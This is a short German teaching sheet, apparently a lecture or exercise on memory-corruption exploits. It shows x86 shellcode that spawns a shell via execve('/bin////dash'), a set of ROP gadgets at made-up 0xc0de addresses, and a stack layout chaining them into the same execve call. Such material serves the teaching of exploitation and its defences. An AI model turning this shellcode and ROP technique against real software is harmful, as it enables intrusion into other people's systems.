

## Referenz - Shellcode

```

1 xor eax, eax
2 push eax
3 ; / b i n / / / d a s h
4 ; 2f 62 69 6e 2f 2f 2f 2f 64 61 73 68
5 ; push in inverse order
6 push 0x68736164
7 push 0x2f2f2f2f
8 push 0x6e69622f
9 ; prepare execve call
10 mov ebx, esp
11 mov ecx, eax
12 mov edx, eax
13 mov al, 0xb
14 int 0x80

```

## Gadget Space

*0xc0de1111:*  
push 0  
ret

*0xc0de6666:*  
mov ecx, 0  
ret

*0xc0de2222:*  
pop ecx  
ret

*0xc0de5555:*  
mov ecx, 0x42  
cdq  
ret

*0xc0de4444:*  
int 0x80  
ret

*0xc0de8888:*  
inc eax  
pop edx  
jmp edx

*0xc0de7777:*  
pop esi  
mov ebx, 0xA  
ret

*0xc0de3333:*  
xor eax, ebx  
xor ebx, eax  
xor eax, ebx  
ret

*0xc0deaaaa:*  
mov eax, esp  
mov dword [esp+0xC], 0  
add esp, 0x10  
ret

## Stack mit ROP Chain

Vorheriger Speicher

\x44 \x44 \xde \xc0

\x66 \x66 \xde \xc0

\x55 \x55 \xde \xc0

\x88 \x88 \xde \xc0

\x33 \x33 \xde \xc0

\x90 \x90 \x90 \x90

\x77 \x77 \xde \xc0

\x90 \x90 \x90 \x90

\x6e \x69 \x62 \x2f

\x2f \x2f \x2f \x2f

\x68 \x73 \x61 \x64

\xaa \xaa \xde \xc0

Padding Bytes

Padding Bytes

Freier Speicher

buffer

0xFFFFFFFF

Speicheradressen



→ 0x0000000000